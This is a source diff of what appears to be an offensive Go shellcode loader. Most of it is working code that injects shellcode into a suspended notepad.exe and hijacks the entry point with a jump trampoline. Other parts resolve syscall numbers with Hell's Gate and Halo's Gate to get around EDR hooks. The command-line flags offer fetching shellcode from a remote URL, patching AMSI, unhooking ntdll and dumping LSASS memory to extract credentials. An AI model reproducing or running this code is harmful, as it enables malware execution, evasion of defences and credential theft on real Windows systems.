uintptr(unsafe.Pointer(&Signature)),
|
||||
unsafe.Sizeof(Signature),
|
||||
uintptr(unsafe.Pointer(&readBytes3)),
|
||||
)
|
||||
|
||||
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
|
||||
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
|
||||
if Signature != 17744 {
|
||||
return errors.New("PE Signature string was not PE")
|
||||
}
|
||||
|
||||
var peHeader IMAGE_FILE_HEADER
|
||||
var readBytes4 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
|
||||
uintptr(unsafe.Pointer(&peHeader)),
|
||||
unsafe.Sizeof(peHeader),
|
||||
uintptr(unsafe.Pointer(&readBytes4)),
|
||||
)
|
||||
|
||||
var optHeader64 IMAGE_OPTIONAL_HEADER64
|
||||
var optHeader32 IMAGE_OPTIONAL_HEADER32
|
||||
var readBytes5 int32
|
||||
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
|
||||
uintptr(unsafe.Pointer(&optHeader64)),
|
||||
unsafe.Sizeof(optHeader64),
|
||||
uintptr(unsafe.Pointer(&readBytes5)),
|
||||
)
|
||||
|
||||
} else if peHeader.Machine == 332 { // 0x14c
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
|
||||
uintptr(unsafe.Pointer(&optHeader32)),
|
||||
unsafe.Sizeof(optHeader32),
|
||||
uintptr(unsafe.Pointer(&readBytes5)),
|
||||
)
|
||||
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
|
||||
var ep uintptr
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
var epBuffer []byte
|
||||
var shellcodeAddressBuffer []byte
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
epBuffer = append(epBuffer, byte(0x48))
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
|
||||
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
|
||||
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// 0xff ; 0xe0 = jmp [r|e]ax
|
||||
epBuffer = append(epBuffer, byte(0xff))
|
||||
epBuffer = append(epBuffer, byte(0xe0))
|
||||
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
ep,
|
||||
uintptr(unsafe.Pointer(&epBuffer[0])),
|
||||
uintptr(len(epBuffer)),
|
||||
)
|
||||
|
||||
// Resume the child process
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
if errResumeThread != nil {
|
||||
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
||||
}
|
||||
|
||||
// Close the handle to the child process
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
if errCloseProcHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the hand to the child process thread
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
if errCloseThreadHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
This function uses Hell's Gate + Halo's Gate technique
|
||||
|
||||
*/
|
||||
|
||||
func CreateProcessHalos(shellcode []byte) (error) {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
|
||||
// Get syscall using Hell's Gate + Halo's Gate
|
||||
ntqueryinformationprocess, err := GetSysId("NtQueryInformationProcess")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
}
|
||||
|
||||
errCreateProcess := windows.CreateProcess(
|
||||
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
|
||||
syscall.StringToUTF16Ptr(""),
|
||||
nil,
|
||||
nil,
|
||||
true,
|
||||
windows.CREATE_SUSPENDED,
|
||||
nil,
|
||||
nil,
|
||||
startupInfo,
|
||||
procInfo,
|
||||
)
|
||||
if errCreateProcess != nil {
|
||||
return errCreateProcess
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(
|
||||
uintptr(procInfo.Process),
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT | windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
|
||||
if addr == 0 {
|
||||
return errors.New("VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
|
||||
// Write shellcode into child process memory
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
)
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtectEx.Call(
|
||||
uintptr(procInfo.Process),
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
|
||||
var processInformation PROCESS_BASIC_INFORMATION
|
||||
var returnLength uintptr
|
||||
|
||||
ntStatus, _ := Syscall( // Use custom syscall id with hooka.Syscall()
|
||||
ntqueryinformationprocess,
|
||||
uintptr(procInfo.Process),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&processInformation)),
|
||||
unsafe.Sizeof(processInformation),
|
||||
returnLength,
|
||||
)
|
||||
|
||||
if ntStatus != 0 {
|
||||
if ntStatus == 3221225476 {
|
||||
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
||||
return errors.New("Error calling NtQueryInformationProcess")
|
||||
}
|
||||
|
||||
// Read from PEB base address to populate the PEB structure
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
var peb PEB
|
||||
var readBytes int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
processInformation.PebBaseAddress,
|
||||
uintptr(unsafe.Pointer(&peb)),
|
||||
unsafe.Sizeof(peb),
|
||||
uintptr(unsafe.Pointer(&readBytes)),
|
||||
)
|
||||
|
||||
// Read the child program's DOS header and validate it is a MZ executable
|
||||
type _IMAGE_DOS_HEADER struct {
|
||||
Magic uint16 // USHORT Magic number
|
||||
Cblp uint16 // USHORT Bytes on last page of file
|
||||
Cp uint16 // USHORT Pages in file
|
||||
Crlc uint16 // USHORT Relocations
|
||||
Cparhdr uint16 // USHORT Size of header in paragraphs
|
||||
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
|
||||
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
|
||||
SS uint16 // USHORT Initial (relative) SS value
|
||||
SP uint16 // USHORT Initial SP value
|
||||
CSum uint16 // USHORT Checksum
|
||||
IP uint16 // USHORT Initial IP value
|
||||
CS uint16 // USHORT Initial (relative) CS value
|
||||
LfaRlc uint16 // USHORT File address of relocation table
|
||||
Ovno uint16 // USHORT Overlay number
|
||||
Res [4]uint16 // USHORT Reserved words
|
||||
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
|
||||
OEMInfo uint16 // USHORT OEM information; e_oemid specific
|
||||
Res2 [10]uint16 // USHORT Reserved words
|
||||
LfaNew int32 // LONG File address of new exe header
|
||||
}
|
||||
|
||||
var dosHeader _IMAGE_DOS_HEADER
|
||||
var readBytes2 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress,
|
||||
uintptr(unsafe.Pointer(&dosHeader)),
|
||||
unsafe.Sizeof(dosHeader),
|
||||
uintptr(unsafe.Pointer(&readBytes2)),
|
||||
)
|
||||
|
||||
// 23117 is the LittleEndian unsigned base10 representation of MZ
|
||||
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
|
||||
if dosHeader.Magic != 23117 {
|
||||
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
|
||||
}
|
||||
|
||||
// Read the child process's PE header signature to validate it is a PE
|
||||
var Signature uint32
|
||||
var readBytes3 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
|
||||
uintptr(unsafe.Pointer(&Signature)),
|
||||
unsafe.Sizeof(Signature),
|
||||
uintptr(unsafe.Pointer(&readBytes3)),
|
||||
)
|
||||
|
||||
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
|
||||
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
|
||||
if Signature != 17744 {
|
||||
return errors.New("PE Signature string was not PE")
|
||||
}
|
||||
|
||||
var peHeader IMAGE_FILE_HEADER
|
||||
var readBytes4 int32
|
||||
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
|
||||
uintptr(unsafe.Pointer(&peHeader)),
|
||||
unsafe.Sizeof(peHeader),
|
||||
uintptr(unsafe.Pointer(&readBytes4)),
|
||||
)
|
||||
|
||||
var optHeader64 IMAGE_OPTIONAL_HEADER64
|
||||
var optHeader32 IMAGE_OPTIONAL_HEADER32
|
||||
var readBytes5 int32
|
||||
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
|
||||
uintptr(unsafe.Pointer(&optHeader64)),
|
||||
unsafe.Sizeof(optHeader64),
|
||||
uintptr(unsafe.Pointer(&readBytes5)),
|
||||
)
|
||||
|
||||
} else if peHeader.Machine == 332 { // 0x14c
|
||||
ReadProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
|
||||
uintptr(unsafe.Pointer(&optHeader32)),
|
||||
unsafe.Sizeof(optHeader32),
|
||||
uintptr(unsafe.Pointer(&readBytes5)),
|
||||
)
|
||||
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
|
||||
var ep uintptr
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
var epBuffer []byte
|
||||
var shellcodeAddressBuffer []byte
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
epBuffer = append(epBuffer, byte(0x48))
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
|
||||
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
|
||||
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// 0xff ; 0xe0 = jmp [r|e]ax
|
||||
epBuffer = append(epBuffer, byte(0xff))
|
||||
epBuffer = append(epBuffer, byte(0xe0))
|
||||
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(procInfo.Process),
|
||||
ep,
|
||||
uintptr(unsafe.Pointer(&epBuffer[0])),
|
||||
uintptr(len(epBuffer)),
|
||||
)
|
||||
|
||||
// Resume the child process
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
if errResumeThread != nil {
|
||||
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
||||
}
|
||||
|
||||
// Close the handle to the child process
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
if errCloseProcHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the hand to the child process thread
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
if errCloseThreadHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
+118
@@ -6,6 +6,8 @@ This package exports all windows struct which are used
|
||||
|
||||
*/
|
||||
|
||||
import "golang.org/x/sys/windows"
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
@@ -39,6 +41,73 @@ type IMAGE_OPTIONAL_HEADER struct {
|
||||
DataDirectory [16]IMAGE_DATA_DIRECTORY
|
||||
}
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER /*{
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}*/
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32 // Different from 64 bit header
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
type IMAGE_DATA_DIRECTORY struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
@@ -82,5 +151,54 @@ type IMAGE_DOS_HEADER struct { // DOS .EXE header
|
||||
E_lfanew uint16 // File address of new exe header
|
||||
}
|
||||
|
||||
type PEB struct {
|
||||
InheritedAddressSpace byte // BYTE 0
|
||||
ReadImageFileExecOptions byte // BYTE 1
|
||||
BeingDebugged byte // BYTE 2
|
||||
reserved2 [1]byte // BYTE 3
|
||||
Mutant uintptr // BYTE 4
|
||||
ImageBaseAddress uintptr // BYTE 8
|
||||
Ldr uintptr // PPEB_LDR_DATA
|
||||
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
|
||||
reserved4 [3]uintptr // PVOID
|
||||
AtlThunkSListPtr uintptr // PVOID
|
||||
reserved5 uintptr // PVOID
|
||||
reserved6 uint32 // ULONG
|
||||
reserved7 uintptr // PVOID
|
||||
reserved8 uint32 // ULONG
|
||||
AtlThunkSListPtr32 uint32 // ULONG
|
||||
reserved9 [45]uintptr // PVOID
|
||||
reserved10 [96]byte // BYTE
|
||||
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
|
||||
reserved11 [128]byte // BYTE
|
||||
reserved12 [1]uintptr // PVOID
|
||||
SessionId uint32 // ULONG
|
||||
}
|
||||
|
||||
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
|
||||
type PROCESS_BASIC_INFORMATION struct {
|
||||
reserved1 uintptr // PVOID
|
||||
PebBaseAddress uintptr // PPEB
|
||||
reserved2 [2]uintptr // PVOID
|
||||
UniqueProcessId uintptr // ULONG_PTR
|
||||
InheritedFromUniqueProcessID uintptr // PVOID
|
||||
}
|
||||
|
||||
type ClientID struct {
|
||||
UniqueProcess windows.Handle
|
||||
UniqueThread windows.Handle
|
||||
}
|
||||
|
||||
type imageExportDir struct {
|
||||
_, _ uint32
|
||||
_, _ uint16
|
||||
Name uint32
|
||||
Base uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressOfFunctions uint32
|
||||
AddressOfNames uint32
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
|
||||
|
||||
+7
-5
@@ -10,33 +10,35 @@ import (
|
||||
"flag"
|
||||
)
|
||||
|
||||
func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, string) {
|
||||
func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, bool, string) {
|
||||
var sc_url string
|
||||
var sc_file string
|
||||
var dll_file string
|
||||
var technique string
|
||||
var hook_detect bool
|
||||
var hells bool
|
||||
var halos bool
|
||||
var unhook int
|
||||
var base64_flag bool
|
||||
var hex_flag bool
|
||||
var test_flag bool
|
||||
var amsi bool
|
||||
var lsass_flag string
|
||||
|
||||
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
|
||||
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
|
||||
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
|
||||
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)")
|
||||
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, CreateProcess, EarlyBirdApc, UuidFromString (default: random)")
|
||||
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
|
||||
flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs")
|
||||
flag.BoolVar(&halos, "halos", false, "combine Hell's Gate and Halo's Gate to evade EDRs")
|
||||
flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart")
|
||||
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
|
||||
flag.BoolVar(&amsi, "amsi", false, "overwrite AmsiScanBuffer memory address to patch AMSI")
|
||||
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
|
||||
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
|
||||
flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)")
|
||||
flag.Parse()
|
||||
|
||||
return sc_url, sc_file, dll_file, technique, hook_detect, hells, unhook, base64_flag, hex_flag, test_flag, lsass_flag // Return all param values
|
||||
return sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, lsass_flag // Return all param values
|
||||
}
|
||||
|
||||
|
||||
|
||||
+141
@@ -0,0 +1,141 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"unsafe"
|
||||
"strings"
|
||||
"encoding/binary"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
func GetSysId(funcname string) (uint16, error) {
|
||||
|
||||
ntdll_handle, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
|
||||
|
||||
if (ntdll_handle == 0) {
|
||||
return 0, errors.New("an error has ocurred while getting ntdll.dll handle!")
|
||||
}
|
||||
|
||||
exports := getExport(ntdll_handle)
|
||||
|
||||
for _, exp := range exports {
|
||||
if (strings.ToLower(funcname) == strings.ToLower(exp.Name)) {
|
||||
|
||||
buff := make([]byte, 10)
|
||||
|
||||
if exp.VirtualAddress <= ntdll_handle {
|
||||
return 0, errors.New("an error has ocurred getting syscall id")
|
||||
}
|
||||
|
||||
memcpy(uintptr(unsafe.Pointer(&buff[0])), uintptr(exp.VirtualAddress), 10)
|
||||
|
||||
// Check if function isn't hooked
|
||||
if buff[0] == 0x4c && buff[1] == 0x8b && buff[2] == 0xd1 && buff[3] == 0xb8 && buff[6] == 0x00 && buff[7] == 0x00 {
|
||||
// Return syscall id
|
||||
return binary.LittleEndian.Uint16(buff[4:8]), nil
|
||||
|
||||
} else { // Enter here if function seems to be hooked
|
||||
|
||||
for i := uintptr(1); i <= 500; i++ { // Loop 500 times to get a valid syscall
|
||||
|
||||
memcpy(uintptr(unsafe.Pointer(&buff[0])), uintptr(exp.VirtualAddress + i*IDX), 10)
|
||||
if buff[0] == 0x4c && buff[1] == 0x8b && buff[2] == 0xd1 && buff[3] == 0xb8 && buff[6] == 0x00 && buff[7] == 0x00 {
|
||||
return uint16Down(buff[4:8], uint16(i)), nil // Return syscall
|
||||
}
|
||||
|
||||
memcpy(uintptr(unsafe.Pointer(&buff[0])), uintptr(exp.VirtualAddress - i*IDX), 10)
|
||||
if buff[0] == 0x4c && buff[1] == 0x8b && buff[2] == 0xd1 && buff[3] == 0xb8 && buff[6] == 0x00 && buff[7] == 0x00 {
|
||||
return uint16Up(buff[4:8], uint16(i)), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return getDiskSysId(funcname)
|
||||
}
|
||||
}
|
||||
|
||||
return getDiskSysId(funcname)
|
||||
}
|
||||
|
||||
func getDiskSysId(funcname string) (uint16, error) {
|
||||
|
||||
ntdll_path := string(
|
||||
[]byte{
|
||||
'c', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l',
|
||||
},
|
||||
)
|
||||
|
||||
ntdll_pe, err := pe.Open(ntdll_path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
exports, err := ntdll_pe.Exports()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
for _, exp := range exports {
|
||||
if (strings.ToLower(funcname) == strings.ToLower(exp.Name)) {
|
||||
|
||||
offset := rvaToOffset(ntdll_pe, exp.VirtualAddress)
|
||||
b, err := ntdll_pe.Bytes()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
buff := b[offset : offset+10]
|
||||
|
||||
// Check if function isn't hooked
|
||||
if buff[0] == 0x4c && buff[1] == 0x8b && buff[2] == 0xd1 && buff[3] == 0xb8 && buff[6] == 0x00 && buff[7] == 0x00 {
|
||||
// Return syscall id
|
||||
return binary.LittleEndian.Uint16(buff[4:8]), nil
|
||||
|
||||
} else { // Enter here if function seems to be hooked
|
||||
|
||||
for i := uintptr(1); i <= 500; i++ { // Loop 500 times to get a valid syscall
|
||||
|
||||
if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) + i*IDX)) == 0x4c &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) + i*IDX)) == 0x8b &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) + i*IDX)) == 0xd1 &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) + i*IDX)) == 0xb8 &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) + i*IDX)) == 0x00 &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) + i*IDX)) == 0x00 {
|
||||
|
||||
buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) + i*IDX))
|
||||
buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) + i*IDX))
|
||||
|
||||
return uint16Down(buff[4:8], uint16(i)), nil // Return syscall
|
||||
}
|
||||
|
||||
if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) - i*IDX)) == 0x4c &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) - i*IDX)) == 0x8b &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) - i*IDX)) == 0xd1 &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) - i*IDX)) == 0xb8 &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) - i*IDX)) == 0x00 &&
|
||||
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) - i*IDX)) == 0x00 {
|
||||
|
||||
buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) - i*IDX))
|
||||
buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) - i*IDX))
|
||||
|
||||
return uint16Up(buff[4:8], uint16(i)), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0, errors.New("syscall ID not found")
|
||||
}
|
||||
}
|
||||
|
||||
return 0, errors.New("syscall ID not found")
|
||||
}
|
||||
|
||||
|
||||
+21
-6
@@ -9,33 +9,48 @@ https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
//"golang.org/x/sys/windows"
|
||||
|
||||
// Third-party
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
// Check if hash is a valid function and return its proc
|
